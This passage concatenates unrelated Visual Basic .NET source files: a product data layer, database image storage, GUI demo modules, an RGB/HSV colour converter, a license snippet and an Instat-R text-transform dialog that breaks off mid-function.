= DBReadInt32(rDataReader, "ProductFurnitureID") .Description = DBReadString(rDataReader, "Description") .Notes = DBReadString(rDataReader, "notes") .Code = DBReadString(rDataReader, "Code") .FurnitureType = DBReadInt32(rDataReader, "ItemType") CType(pProduct, dmProductFurniture).IsDirty = False End With mOK = True Catch Ex As Exception mOK = False If clsErrorHandler.HandleError(Ex, clsErrorHandler.PolicyDataLayer) Then Throw ' or raise an error ? mOK = False Finally End Try Return mOK End Function ''Public Function LoadProductFurnitureCollection(ByRef rProductFurnitures As colProductFurnitures) As Boolean '' Dim mParams As New Hashtable '' Dim mOK As Boolean '' ''mParams.Add("@ParentID", vParentID) '' mOK = MyBase.LoadCollection(rProductFurnitures, mParams, "ProductFurnitureID") '' rProductFurnitures.TrackDeleted = True '' If mOK Then rProductFurnitures.IsDirty = False '' Return mOK ''End Function ''Public Function SaveProductFurnitureCollection(ByRef rCollection As colProductFurnitures) As Boolean '' Dim mParams As New Hashtable '' Dim mAllOK As Boolean '' ''Dim mCount As Integer '' Dim mIDs As String = "" '' If rCollection.IsDirty Then '' ''mParams.Add("@ParentID", vParentID) '' ''Alternative Approach - where maintain collection of deleted items '' If rCollection.SomeDeleted Then '' mAllOK = True '' For Each Me.pProduct In rCollection.DeletedItems '' If CType(pProduct, dmProductFurniture).ProductFurnitureID <> 0 Then '' If mAllOK Then mAllOK = MyBase.DeleteDBRecord(CType(pProduct, dmProductFurniture).ProductFurnitureID) '' End If '' Next '' Else '' mAllOK = True '' End If '' For Each Me.pProduct In rCollection '' If CType(pProduct, dmProductFurniture).IsDirty Or CType(pProduct, dmProductFurniture).ProductFurnitureID = 0 Then 'Or pProductFurniture.ProductFurnitureID = 0 '' If mAllOK Then mAllOK = SaveObject() '' End If '' Next '' If mAllOK Then rCollection.IsDirty = False '' Else '' mAllOK = True '' End If '' Return mAllOK ''End Function End Class
Public Class MortgageData Public Property RepaymentsYear As Integer Public Property StartingBalance As Double Public Property EndingBalance As Double Public Property Payment As Double Public Property Principal As Double Public Property Interest As Double End Class
Imports System.Data.SqlClient Imports System.IO Public Class ProductDB ' The directory for the images Shared imagesPath As String = "C:/Murach/SQL Server 2012/Images/" Protected Shared Function GetConnection() As SqlConnection Dim connection As SqlConnection = New SqlConnection() connection.ConnectionString = "Data Source=localhost\SqlExpress;" & "Initial Catalog=Examples;Integrated Security=True" Return connection End Function Public Shared Sub WriteImage(ByVal productID As Integer, ByVal imageName As String) Dim connection As SqlConnection = Nothing Try ' 1. Read image from file Dim filepath = imagesPath + imageName If File.Exists(filepath) = False Then Throw New Exception("File Not Found: " + filepath) End If Dim sourceStream As New FileStream( filepath, FileMode.Open, FileAccess.Read) Dim streamLength As Integer = sourceStream.Length Dim productImage(0 To streamLength) As Byte sourceStream.Read(productImage, 0, streamLength) sourceStream.Close() ' 2. Write image to database connection = GetConnection() Dim command As SqlCommand = New SqlCommand() command.Connection = connection command.CommandText = "INSERT INTO ProductImages " & "VALUES (@ProductID, @ProductImage)" command.Parameters.AddWithValue("@ProductID", productID) command.Parameters.AddWithValue("@ProductImage", productImage) connection.Open() command.ExecuteNonQuery() Catch e As Exception Throw e Finally If Not IsDBNull(connection) Then connection.Close() End If End Try End Sub Public Shared Sub ReadImage(ByVal imageID As Integer, ByVal pictureBox As PictureBox) Dim connection As SqlConnection = Nothing Try connection = GetConnection() Dim command As SqlCommand = New SqlCommand() command.Connection = connection command.CommandText = "SELECT ProductImage " & "FROM ProductImages " & "WHERE ImageID = @ImageID" command.Parameters.AddWithValue("@ImageID", imageID) connection.Open() Dim reader As SqlDataReader = command.ExecuteReader() Dim imageByteArray As Byte() If reader.Read() = False Then Throw New Exception("Unable to read image.") End If imageByteArray = reader(0) reader.Close() Dim ms As MemoryStream = New MemoryStream(imageByteArray) pictureBox.Image = System.Drawing.Image.FromStream(ms) ms.Close() Catch e As Exception Throw e Finally If IsDBNull(connection) Then connection.Close() End If End Try End Sub Public Shared Function GetImageIDList() As List(Of Integer) Dim connection As SqlConnection = Nothing Try connection = GetConnection() connection.Open() Dim command As SqlCommand = New SqlCommand() command.Connection = connection command.CommandText = "SELECT ImageID FROM ProductImages " & "ORDER BY ImageID" Dim reader As SqlDataReader = command.ExecuteReader() Dim imageIDList As List(Of Integer) = New List(Of Integer) While reader.Read() Dim imageID As Integer = reader(0) imageIDList.Add(imageID) End While reader.Close() Return imageIDList Catch e As Exception Throw e Finally If IsDBNull(connection) Then connection.Close() End If End Try End Function End Class
Imports SFML.Graphics Imports SFML.Window Imports TGUI Module modLoadingGraphics Private gui_loading As New Gui(obj_GameWindow) Private lbl_loading As Label Public Sub InitLoading() ' Initialize our label. lbl_loading = gui_loading.Add(New Label) ' Set up the loading screen text. ' And position the little rascal somewhere in the center. lbl_loading.Text = "Loading.." lbl_loading.TextColor = Color.White lbl_loading.TextFont = New Font("C:\Windows\Fonts\Arial.ttf") lbl_loading.TextSize = 20 lbl_loading.Position = New Vector2f((obj_Options.ResolutionX / 2) - (lbl_loading.Size.X / 2), (obj_Options.ResolutionY / 2) - (lbl_loading.Size.Y / 2)) End Sub Public Sub RenderLoading() ' Draw the loading GUI. gui_loading.Draw() End Sub Public Sub DestroyLoading() ' Set all our objects to nothing. lbl_loading = Nothing gui_loading = Nothing End Sub End Module
Imports System Imports System.Windows Imports System.Windows.Input Imports System.Windows.Media.Animation Imports DevExpress.Xpf.Charts Imports DevExpress.Xpf.DemoBase Imports DevExpress.Mvvm.UI.Interactivity Imports System.Windows.Data Imports System.Globalization Namespace ChartsDemo <CodeFile("Modules/PieDonutSeries/PieDonut2DControl.xaml"), CodeFile("Modules/PieDonutSeries/PieDonut2DControl.xaml.(cs)"), CodeFile("Utils/PieChartSelectionBehavior.(cs)"), CodeFile("Utils/PieChartRotationBehavior.(cs)")> Partial Public Class PieDonut2DControl Inherits ChartsDemoModule Public Sub New() InitializeComponent() ActualChart = chart Series.ToolTipPointPattern = "{A}: {V:0.0}M km²" End Sub Private Sub Animate() If chart IsNot Nothing Then chart.Animate() End If If pieTotalLabel IsNot Nothing Then CType(pieTotalLabel.Resources("pieTotalLabelStoryboard"), Storyboard).Begin() End If End Sub Private Sub ChartsDemoModule_ModuleLoaded(ByVal sender As Object, ByVal e As RoutedEventArgs) Animate() End Sub Private Sub rblSweepDirection_SelectedIndexChanged(ByVal sender As Object, ByVal e As RoutedEventArgs) Animate() End Sub Private Sub chart_QueryChartCursor(ByVal sender As Object, ByVal e As QueryChartCursorEventArgs) Dim hitInfo As ChartHitInfo = chart.CalcHitInfo(e.Position) If hitInfo IsNot Nothing AndAlso hitInfo.SeriesPoint IsNot Nothing Then e.Cursor = Cursors.Hand End If End Sub End Class Public Class ShowTotalInToTitleVisibleConverter Implements IValueConverter Public Function Convert(ByVal value As Object, ByVal targetType As Type, ByVal parameter As Object, ByVal culture As CultureInfo) As Object Implements IValueConverter.Convert Dim str As String = DirectCast(value, String) Return str = "Title" End Function Public Function ConvertBack(ByVal value As Object, ByVal targetType As Type, ByVal parameter As Object, ByVal culture As CultureInfo) As Object Implements IValueConverter.ConvertBack Throw New NotSupportedException() End Function End Class Public Class ShowTotalInToPieTotalLabelVisibilityConverter Implements IValueConverter Public Function Convert(ByVal value As Object, ByVal targetType As Type, ByVal parameter As Object, ByVal culture As CultureInfo) As Object Implements IValueConverter.Convert Dim str As String = DirectCast(value, String) If str = "Label" Then Return Visibility.Visible Else Return Visibility.Collapsed End If End Function Public Function ConvertBack(ByVal value As Object, ByVal targetType As Type, ByVal parameter As Object, ByVal culture As CultureInfo) As Object Implements IValueConverter.ConvertBack Throw New NotSupportedException() End Function End Class End Namespace
Imports System.Collections.Generic Imports System.IO Imports System.Windows.Input Imports System.Windows.Media Imports DevExpress.Xpf.Core.Native Imports DevExpress.Xpf.DemoBase.DataClasses Imports DevExpress.Xpf.LayoutControl Namespace LayoutControlDemo Partial Public Class pageEmployees Inherits LayoutControlDemoModule Public Sub New() InitializeComponent() RenderOptions.SetBitmapScalingMode(lc, BitmapScalingMode.HighQuality) End Sub Private Sub GroupBox_MouseLeftButtonUp(ByVal sender As Object, ByVal e As MouseButtonEventArgs) Dim groupBox = DirectCast(sender, GroupBox) groupBox.State = If(groupBox.State = GroupBoxState.Normal, GroupBoxState.Maximized, GroupBoxState.Normal) End Sub End Class Public Class EmployeeViewModel Public Sub New(ByVal employee As Employee) Model = employee ImageSource = ImageHelper.CreateImageFromStream(New MemoryStream(Model.ImageData)) End Sub Public ReadOnly Property AddressLine2() As String Get Dim result As String = Model.City If Not String.IsNullOrEmpty(Model.StateProvinceName) Then result &= ", " & Model.StateProvinceName End If If Not String.IsNullOrEmpty(Model.PostalCode) Then result &= ", " & Model.PostalCode End If If Not String.IsNullOrEmpty(Model.CountryRegionName) Then result &= ", " & Model.CountryRegionName End If Return result End Get End Property Private privateImageSource As ImageSource Public Property ImageSource() As ImageSource Get Return privateImageSource End Get Private Set(ByVal value As ImageSource) privateImageSource = value End Set End Property Private privateModel As Employee Public Property Model() As Employee Get Return privateModel End Get Private Set(ByVal value As Employee) privateModel = value End Set End Property End Class Public Class EmployeesViewModel Inherits List(Of EmployeeViewModel) Public Sub New() Me.New(EmployeesWithPhotoData.DataSource) End Sub Public Sub New(ByVal model As IEnumerable(Of Employee)) For Each employee As Employee In model Add(New EmployeeViewModel(employee)) Next employee Sort(AddressOf CompareByLastNameFirstName) End Sub Private Function CompareByLastNameFirstName(ByVal x As EmployeeViewModel, ByVal y As EmployeeViewModel) As Integer Dim value1 As String = x.Model.LastName + x.Model.FirstName Dim value2 As String = y.Model.LastName + y.Model.FirstName Return String.Compare(value1, value2) End Function End Class End Namespace
Namespace WebApplication2.Models Public Class Student Public int StudentId { Get; Set; } Public String StudentName { Get; Set; } Public int Age { Get; Set; } End Class End Namespace
Imports System.Drawing Public Class ColorHandler ' Handle conversions between RGB and HSV _ ' (and Color types, as well). Public Structure RGB ' All values are between 0 and 255. Dim Red As Integer Dim Green As Integer Dim Blue As Integer Public Sub New( _ ByVal R As Integer, ByVal G As Integer, ByVal B As Integer) Red = R Green = G Blue = B End Sub Public Overrides Function ToString() As String Return String.Format("({0}, {1}, {2})", _ Red, Green, Blue) End Function End Structure Public Structure HSV ' All values are between 0 and 255. Dim Hue As Integer Dim Saturation As Integer Dim Value As Integer Public Sub New( _ ByVal H As Integer, ByVal S As Integer, ByVal V As Integer) Hue = H Saturation = S Value = V End Sub Public Overrides Function ToString() As String Return String.Format("({0}, {1}, {2})", _ Hue, Saturation, Value) End Function End Structure Public Shared Function HSVtoRGB(ByVal H As Integer, ByVal S As Integer, ByVal V As Integer) As RGB ' H, S, and V must all be between 0 and 255. Return HSVtoRGB(New HSV(H, S, V)) End Function Public Shared Function HSVtoColor(ByVal HSV As HSV) As Color Dim RGB As RGB = HSVtoRGB(HSV) Return Color.FromArgb(RGB.Red, RGB.Green, RGB.Blue) End Function Public Shared Function HSVtoColor(ByVal H As Integer, ByVal S As Integer, ByVal V As Integer) As Color Return HSVtoColor(New HSV(H, S, V)) End Function Public Shared Function HSVtoRGB(ByVal HSV As HSV) As RGB ' HSV contains values scaled as in the color wheel: ' that is, all from 0 to 255. ' For this code to work, HSV.Hue needs ' to be scaled from 0 to 360 (it's the angle of the selected ' point within the circle). HSV.Saturation and HSV.Value must be ' scaled to be between 0 and 1. Dim h As Decimal Dim s As Decimal Dim v As Decimal Dim r As Decimal Dim g As Decimal Dim b As Decimal ' Scale Hue to be between 0 and 360. Saturation ' and Value scale to be between 0 and 1. h = (HSV.Hue / 255D * 360) Mod 360 s = HSV.Saturation / 255D v = HSV.Value / 255D If s = 0 Then ' If s is 0, all colors are the same. ' This is some flavor of gray. r = v g = v b = v Else Dim p As Decimal Dim q As Decimal Dim t As Decimal Dim fractionalSector As Decimal Dim sectorNumber As Integer Dim sectorPos As Decimal ' The color wheel consists of 6 sectors. ' Figure out which sector you're in. sectorPos = h / 60 sectorNumber = CInt(Math.Floor(sectorPos)) ' Get the fractional part of the sector. ' That is, how many degrees into the sector ' are you? fractionalSector = sectorPos - sectorNumber ' Calculate values for the three axes ' of the color. p = v * (1 - s) q = v * (1 - (s * fractionalSector)) t = v * (1 - (s * (1 - fractionalSector))) ' Assign the fractional colors to r, g, and b ' based on the sector the angle is in. Select Case sectorNumber Case 0 r = v g = t b = p Case 1 r = q g = v b = p Case 2 r = p g = v b = t Case 3 r = p g = q b = v Case 4 r = t g = p b = v Case 5 r = v g = p b = q End Select End If ' Return an RGB structure, with values scaled ' to be between 0 and 255. Return New RGB(CInt(r * 255), CInt(g * 255), CInt(b * 255)) End Function Public Shared Function RGBtoHSV(ByVal RGB As RGB) As HSV ' In this function, R, G, and B values must be scaled ' to be between 0 and 1. ' HSV.Hue will be a value between 0 and 360, and ' HSV.Saturation and Value are between 0 and 1. ' The code must scale these to be between 0 and 255 for ' the purposes of this application. Dim min As Decimal Dim max As Decimal Dim delta As Decimal Dim r As Decimal = RGB.Red / 255D Dim g As Decimal = RGB.Green / 255D Dim b As Decimal = RGB.Blue / 255D Dim h As Decimal Dim s As Decimal Dim v As Decimal min = Math.Min(Math.Min(r, g), b) max = Math.Max(Math.Max(r, g), b) v = max delta = max - min If max = 0 Or delta = 0 Then ' R, G, and B must be 0, or all the same. ' In this case, S is 0, and H is undefined. ' Using H = 0 is as good as any... s = 0 h = 0 Else s = delta / max If r = max Then ' Between Yellow and Magenta h = (g - b) / delta ElseIf g = max Then ' Between Cyan and Yellow h = 2 + (b - r) / delta Else ' Between Magenta and Cyan h = 4 + (r - g) / delta End If End If ' Scale h to be between 0 and 360. ' This may require adding 360, if the value ' is negative. h *= 60 If h < 0 Then h += 360 End If ' Scale to the requirements of this ' application. All values are between 0 and 255. Return New HSV(CInt(h / 360 * 255), CInt(s * 255), CInt(v * 255)) End Function End Class
 Namespace Licensing Public Class ApplyLicenseUsingFile Public Shared Sub Run() ' ExStart:ApplyLicenseUsingFile Dim license As Aspose.Tasks.License = New Aspose.Tasks.License() license.SetLicense("Aspose.Tasks.lic") ' ExEnd:ApplyLicenseUsingFile End Sub End Class End Namespace
Imports VirtualPets <Serializable> Public MustInherit Class Item Implements IMenuItem Private _name As String Public Property Name() As String Get Return _name End Get Set(ByVal value As String) _name = value End Set End Property Public ReadOnly Property MenuName As String Implements IMenuItem.MenuName Get Return Name End Get End Property Private _health As String Public Property Health() As String Get Return _health End Get Set(ByVal value As String) _health = value End Set End Property End Class
' Instat-R ' Copyright (C) 2015 ' ' This program is free software: you can redistribute it and/or modify ' it under the terms of the GNU General Public License as published by ' the Free Software Foundation, either version 3 of the License, or ' (at your option) any later version. ' ' This program is distributed in the hope that it will be useful, ' but WITHOUT ANY WARRANTY; without even the implied warranty of ' MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ' GNU General Public License for more details. ' ' You should have received a copy of the GNU General Public License k ' along with this program. If not, see <http://www.gnu.org/licenses/>. Imports instat.Translations Public Class dlgTransformText Public bFirstLoad As Boolean = True Private Sub dlgTransformText_Load(sender As Object, e As EventArgs) Handles MyBase.Load autoTranslate(Me) If bFirstLoad Then InitialiseDialog() SetDefaults() bFirstLoad = False Else ReopenDialog() End If TestOkEnabled() End Sub Private Sub ReopenDialog() End Sub Private Sub InitialiseDialog() ucrReceiverTransformText.Selector = ucrSelectorForTransformText ucrReceiverFirstWord.Selector = ucrSelectorForTransformText ucrReceiverLastWord.Selector = ucrSelectorForTransformText ucrReceiverTransformText.SetMeAsReceiver() ucrBase.clsRsyntax.bUseBaseFunction = True ucrInputTo.cboInput.Items.Add("Lower") ucrInputTo.cboInput.Items.Add("Upper") ucrInputTo.cboInput.Items.Add("Title") ucrInputPad.cboInput.Items.Add("Space") ucrInputPad.cboInput.Items.Add("Hash") ucrInputPad.cboInput.Items.Add("Hyphen") ucrInputPad.cboInput.Items.Add("Period") ucrInputPad.cboInput.Items.Add("Underscore") ucrInputSeparator.cboInput.Items.Add("Space") ucrInputSeparator.cboInput.Items.Add("Period") ucrInputSeparator.cboInput.Items.Add("Colon") ucrInputSeparator.cboInput.Items.Add("Underscore") ucrInputSeparator.cboInput.Items.Add("Hyphen") ucrInputPad.cboInput.MaxLength = 1 ucrInputPrefixForNewColumn.SetPrefix("New_Text") ucrInputPrefixForNewColumn.SetItemsTypeAsColumns() ucrInputPrefixForNewColumn.SetDefaultTypeAsColumn() ucrInputPrefixForNewColumn.SetDataFrameSelector(ucrSelectorForTransformText.ucrAvailableDataFrames) ucrReceiverFirstWord.SetIncludedDataTypes({"numeric"}) ucrReceiverTransformText.SetIncludedDataTypes({"factor", "character"}) ucrReceiverLastWord.SetIncludedDataTypes({"numeric"}) ucrBase.iHelpTopicID = 343 ucrInputPrefixForNewColumn.SetValidationTypeAsRVariable() End Sub Private Sub SetDefaults() rdoConvertCase.Checked = True ucrSelectorForTransformText.Reset() ucrSelectorForTransformText.Focus() ucrInputPrefixForNewColumn.ResetText() ucrInputSeparator.ResetText() ucrInputPad.ResetText() ucrInputTo.ResetText() rdoWords.Checked = False rdoLeftTrim.Checked = True rdoLeftPad.Checked = True rdoTrim.Checked = False rdoPad.Checked = False rdoLength.Checked = False nudFrom.Value = 1 nudTo.Value = -1 nudWidth.Value = 1 ucrInputTo.SetName("Lower") ucrInputSeparator.SetName("Space") ucrInputPad.SetName("Space") End Sub Private Sub TestOkEnabled() If (Not ucrReceiverTransformText.IsEmpty()) And (Not ucrInputPrefixForNewColumn.IsEmpty()) Then If rdoConvertCase.Checked Then If Not ucrInputTo.IsEmpty() Then ucrBase.OKEnabled(True) Else ucrBase.OKEnabled(False) End If ElseIf rdoLength.Checked Then ucrBase.OKEnabled(True) ElseIf rdoPad.Checked Then If Not ucrInputPad.IsEmpty() Then ucrBase.OKEnabled(True) Else ucrBase.OKEnabled(False) End If ElseIf rdoTrim.Checked Then ucrBase.OKEnabled(True) ElseIf rdoSubstring.Checked Then ucrBase.OKEnabled(True) ElseIf rdoWords.Checked Then If Not ucrInputSeparator.IsEmpty() Then ucrBase.OKEnabled(True) Else ucrBase.OKEnabled(False) End If End If Else ucrBase.OKEnabled(False) End If End Sub Private Sub ucrBase_ClickReset(sender As Object, e As EventArgs) Handles ucrBase.ClickReset SetDefaults() TestOkEnabled() End Sub Private Sub ucrReceiverTransformText_SelectionChanged(sender As Object, e As EventArgs) Handles ucrReceiverTransformText.SelectionChanged If Not ucrReceiverTransformText.IsEmpty Then ucrBase.clsRsyntax.AddParameter("string", clsRFunctionParameter:=ucrReceiverTransformText.GetVariables()) Else ucrBase.clsRsyntax.RemoveParameter("string") End If TestOkEnabled() End Sub Private Sub grpOperation_CheckedChanged(sender As Object, e As EventArgs) Handles rdoConvertCase.CheckedChanged, rdoLength.CheckedChanged, rdoPad.CheckedChanged, rdoTrim.CheckedChanged, rdoWords.CheckedChanged, rdoSubstring.CheckedChanged SetFuncAndParameters() TestOkEnabled() End Sub Private Sub SetFuncAndParameters() If rdoConvertCase.Checked Then ConvertcaseFunc() ucrInputTo.Visible = True lblTo.Visible = True lblFirstWord.Visible = False nudFirstWord.Visible = False chkFirstWord.Visible = False lblLastWord.Visible = False nudLastWord.Visible = False ucrInputSeparator.Visible = False lblSeparator.Visible = False ucrReceiverFirstWord.Visible = False lblWidth.Visible = False nudWidth.Visible = False lblPad.Visible = False ucrInputPad.Visible = False pnlPad.Visible = False pnlTrim.Visible = False lblFrom.Visible = False lblToSubstring.Visible = False nudFrom.Visible = False nudTo.Visible = False ucrReceiverLastWord.Visible = False chkLastWord.Visible = False ucrBase.clsRsyntax.RemoveParameter("pad") ucrBase.clsRsyntax.RemoveParameter("width") ucrBase.clsRsyntax.RemoveParameter("side") ucrBase.clsRsyntax.RemoveParameter("start") ucrBase.clsRsyntax.RemoveParameter("end") ucrBase.clsRsyntax.RemoveParameter("sep") ElseIf rdoLength.Checked Then ucrBase.clsRsyntax.SetFunction("stringr::str_length") lblWidth.Visible = False nudWidth.Visible = False lblPad.Visible = False ucrInputPad.Visible = False ucrInputTo.Visible = False ucrReceiverFirstWord.Visible = False ucrReceiverLastWord.Visible = False lblTo.Visible = False lblFirstWord.Visible = False nudFirstWord.Visible = False chkFirstWord.Visible = False lblLastWord.Visible = False nudLastWord.Visible = False ucrInputSeparator.Visible = False lblSeparator.Visible = False pnlPad.Visible = False pnlTrim.Visible = False lblFrom.Visible = False lblToSubstring.Visible = False nudFrom.Visible = False nudTo.Visible = False chkLastWord.Visible = False ucrReceiverLastWord.Visible = False ucrBase.clsRsyntax.RemoveParameter("pad") ucrBase.clsRsyntax.RemoveParameter("width") ucrBase.clsRsyntax.RemoveParameter("side") ucrBase.clsRsyntax.RemoveParameter("start") ucrBase.clsRsyntax.RemoveParameter("end") ucrBase.clsRsyntax.RemoveParameter("sep") ElseIf rdoPad.Checked Then ucrBase.clsRsyntax.SetFunction("stringr::str_pad") PadSideParameter() SeperatorParameter() WidthParameter() nudWidth.Visible = True lblWidth.Visible = True lblPad.Visible = True ucrInputPad.Visible = True ucrInputTo.Visible = False lblTo.Visible = False lblFirstWord.Visible = False nudFirstWord.Visible = False chkFirstWord.Visible = False lblLastWord.Visible = False nudLastWord.Visible = False ucrInputSeparator.Visible = False ucrReceiverFirstWord.Visible = False ucrReceiverLastWord.Visible = False lblSeparator.Visible = False pnlPad.Visible = True pnlTrim.Visible = False lblFrom.Visible = False lblToSubstring.Visible = False nudFrom.Visible = False nudTo.Visible = False chkLastWord.Visible = False ucrReceiverLastWord.Visible = False ucrBase.clsRsyntax.RemoveParameter("start") ucrBase.clsRsyntax.RemoveParameter("end") ucrBase.clsRsyntax.RemoveParameter("sep") ElseIf rdoTrim.Checked Then TrimSideParameter() lblWidth.Visible = False nudWidth.Visible = False lblPad.Visible = False ucrInputPad.Visible = False ucrInputTo.Visible = False lblTo.Visible = False lblFirstWord.Visible = False nudFirstWord.Visible = False chkFirstWord.Visible = False lblLastWord.Visible = False nudLastWord.Visible = False ucrInputSeparator.Visible = False lblSeparator.Visible = False ucrReceiverFirstWord.Visible = False ucrReceiverLastWord.Visible = False pnlPad.Visible = False pnlTrim.Visible = True lblFrom.Visible = False lblToSubstring.Visible = False nudFrom.Visible = False nudTo.Visible = False chkLastWord.Visible = False ucrReceiverLastWord.Visible = False ucrBase.clsRsyntax.RemoveParameter("pad") ucrBase.clsRsyntax.RemoveParameter("width") ucrBase.clsRsyntax.RemoveParameter("start") ucrBase.clsRsyntax.RemoveParameter("end") ucrBase.clsRsyntax.RemoveParameter("sep") ElseIf rdoWords.Checked Then ucrBase.clsRsyntax.SetFunction("stringr::word") WordSepParameter() LastWordParameter() FirstWordParameter() lblFirstWord.Visible = True nudFirstWord.Visible = True chkFirstWord.Visible = True lblLastWord.Visible = True nudLastWord.Visible = True ucrInputSeparator.Visible = True lblSeparator.Visible = True lblWidth.Visible = False nudWidth.Visible = False lblPad.Visible = False ucrInputPad.Visible = False ucrInputTo.Visible = False lblTo.Visible = False ucrBase.clsRsyntax.RemoveParameter("pad") ucrBase.clsRsyntax.RemoveParameter("width") ucrBase.clsRsyntax.RemoveParameter("side") ucrBase.clsRsyntax.RemoveParameter("start") ucrBase.clsRsyntax.RemoveParameter("end") pnlPad.Visible = False pnlTrim.Visible = False lblFrom.Visible = False lblToSubstring.Visible = False nudFrom.Visible = False nudTo.Visible = False chkLastWord.Visible = True ElseIf rdoSubstring.Checked Then ucrBase.clsRsyntax.SetFunction("stringr::str_sub") nudToParameter() NudFromParameter() lblFirstWord.Visible = False nudFirstWord.Visible = False chkFirstWord.Visible = False lblLastWord.Visible = False nudLastWord.Visible = False ucrInputSeparator.Visible = False lblSeparator.Visible = False lblWidth.Visible = False nudWidth.Visible = False lblPad.Visible = False ucrInputPad.Visible = False ucrInputTo.Visible = False ucrReceiverFirstWord.Visible = False ucrReceiverLastWord.Visible = False lblTo.Visible = False ucrBase.clsRsyntax.RemoveParameter("width") ucrBase.clsRsyntax.RemoveParameter("side") ucrBase.clsRsyntax.RemoveParameter("pad") ucrBase.clsRsyntax.RemoveParameter("sep") pnlPad.Visible = False pnlTrim.Visible = False lblFrom.Visible = True lblToSubstring.Visible = True nudFrom.Visible = True nudTo.Visible = True chkLastWord.Visible = False ucrReceiverLastWord.Visible = False Else End If End Sub Private Sub ucrReceiverFirstWord_SelectionChanged(sender As Object, e As EventArgs) Handles ucrReceiverFirstWord.SelectionChanged FirstWordParameter() End Sub Private Sub FirstWordParameter() If rdoWords.Checked Then If chkFirstWord.Checked Then ucrReceiverFirstWord.SetMeAsReceiver() ucrReceiverFirstWord.Visible = True nudFirstWord.Enabled = False If Not ucrReceiverFirstWord.IsEmpty Then ucrBase.clsRsyntax.AddParameter("start", clsRFunctionParameter:=ucrReceiverFirstWord.GetVariables()) End If Else ucrReceiverFirstWord.Visible = False nudFirstWord.Enabled = True ucrBase.clsRsyntax.AddParameter("start", nudFirstWord.Value) If ucrReceiverLastWord.Visible Then ucrReceiverLastWord.SetMeAsReceiver() Else ucrReceiverTransformText.SetMeAsReceiver() End If End If End If End Sub Private Sub ucrInputTo_NameChanged() Handles ucrInputTo.NameChanged ConvertcaseFunc() TestOkEnabled() End Sub Private Sub ConvertcaseFunc() If rdoConvertCase.Checked Then Select Case ucrInputTo.GetText Case "Lower" ucrBase.clsRsyntax.SetFunction("stringr::str_to_lower") Case "Upper" ucrBase.clsRsyntax.SetFunction("stringr::str_to_upper") Case "Title" ucrBase.clsRsyntax.SetFunction("stringr::str_to_title") End Select End If End Sub Private Sub nudWidth_TextChanged(sender As Object, e As EventArgs) Handles nudWidth.TextChanged WidthParameter() End Sub Private Sub WidthParameter() If rdoPad.Checked Then If rdoBothPad.Checked Or rdoLeftPad.Checked Or rdoRightPad.Checked Then ucrBase.clsRsyntax.AddParameter("width", nudWidth.Value) Else ucrBase.clsRsyntax.RemoveParameter("width") End If End If End Sub Private Sub ucrInputPad_NameChanged() Handles ucrInputPad.NameChanged SeperatorParameter() End Sub Private Sub SeperatorParameter() If rdoPad.Checked Then If rdoRightPad.Checked Or rdoLeftPad.Checked Or rdoBothPad.Checked Then Select Case ucrInputPad.GetText Case "Space" ucrBase.clsRsyntax.AddParameter("pad", Chr(34) & " " & Chr(34)) Case "Hash" ucrBase.clsRsyntax.AddParameter("pad", Chr(34) & "#" & Chr(34)) Case "Hyphen" ucrBase.clsRsyntax.AddParameter("pad", Chr(34) & "-" & Chr(34)) Case "Period" ucrBase.clsRsyntax.AddParameter("pad", Chr(34) & "." & Chr(34)) Case "Underscore" ucrBase.clsRsyntax.AddParameter("pad", Chr(34) & "_" & Chr(34)) Case Else ucrBase.clsRsyntax.AddParameter("pad", Chr(34) & ucrInputPad.GetText & Chr(34)) End Select End If Else ucrBase.clsRsyntax.RemoveParameter("pad") End If End Sub Private Sub nudFirstWord_TextChanged(sender As Object, e As EventArgs) Handles nudFirstWord.TextChanged If rdoWords.Checked Then ucrBase.clsRsyntax.AddParameter("start", nudFirstWord.Value) Else ucrBase.clsRsyntax.RemoveParameter("start") End If End Sub Private Sub nudLastWord_TextChanged(sender As Object, e As EventArgs) Handles nudLastWord.TextChanged If rdoWords.Checked Then ucrBase.clsRsyntax.AddParameter("end", nudLastWord.Value) Else ucrBase.clsRsyntax.RemoveParameter("end") End If End Sub Private Sub ucrInputSeparator_NameChanged() Handles ucrInputSeparator.NameChanged WordSepParameter() End Sub Private Sub WordSepParameter() If rdoWords.Checked Then Select Case ucrInputSeparator.GetText Case "Space" ucrBase.clsRsyntax.AddParameter("sep", Chr(34) & " " & Chr(34)) Case "Period" ucrBase.clsRsyntax.AddParameter("sep", Chr(34) & "." & Chr(34)) Case "Colon" ucrBase.clsRsyntax.AddParameter("sep", Chr(34) & ":" & Chr(34)) Case "Underscore" ucrBase.clsRsyntax.AddParameter("sep", Chr(34) & "_" & Chr(34)) Case Else ucrBase.clsRsyntax.AddParameter("sep", Chr(34) & ucrInputSeparator.GetText & Chr(34)) End Select Else ucrBase.clsRsyntax.RemoveParameter("sep") End If End Sub Private Sub chkFirstWord_CheckedChanged(sender As Object, e As EventArgs) Handles chkFirstWord.CheckedChanged FirstWordParameter() End Sub Private Sub SideParameter_CheckedChanged(sender As Object, e As EventArgs) Handles rdoLeftPad.CheckedChanged, rdoRightPad.CheckedChanged, rdoBothPad.CheckedChanged PadSideParameter() End Sub Private Sub PadSideParameter() If rdoPad.Checked Then If rdoLeftPad.Checked Then ucrBase.clsRsyntax.AddParameter("side", Chr(34) & "left" & Chr(34)) ElseIf rdoRightPad.Checked Then ucrBase.clsRsyntax.AddParameter("side", Chr(34) & "right" & Chr(34)) ElseIf rdoBothPad.Checked Then ucrBase.clsRsyntax.AddParameter("side", Chr(34) & "both" & Chr(34)) Else ucrBase.clsRsyntax.RemoveParameter("side") End If End If End Sub Private Sub TrimFunction_CheckedChanged(sender As Object, e As EventArgs) Handles rdoLeftTrim.CheckedChanged, rdoRightTrim.CheckedChanged, rdoBothTrim.CheckedChanged TrimSideParameter() End Sub Private Sub TrimSideParameter() If rdoTrim.Checked Then ucrBase.clsRsyntax.SetFunction("stringr::str_trim") If rdoLeftTrim.Checked Then ucrBase.clsRsyntax.AddParameter("side", Chr(34) & "left" & Chr(34)) ElseIf rdoRightTrim.Checked Then ucrBase.clsRsyntax.AddParameter("side", Chr(34) & "right" & Chr(34)) ElseIf rdoBothTrim.Checked Then ucrBase.clsRsyntax.AddParameter("side", Chr(34) & "both" & Chr(34)) Else ucrBase.clsRsyntax.RemoveParameter("side") End If End If End Sub Private Sub nudFrom_TextCanged(sender As Object, e As EventArgs) Handles nudFrom.TextChanged NudFromParameter() End Sub Private Sub NudFromParameter() If rdoSubstring.Checked Then ucrBase.clsRsyntax.AddParameter("start", nudFrom.Value) Else 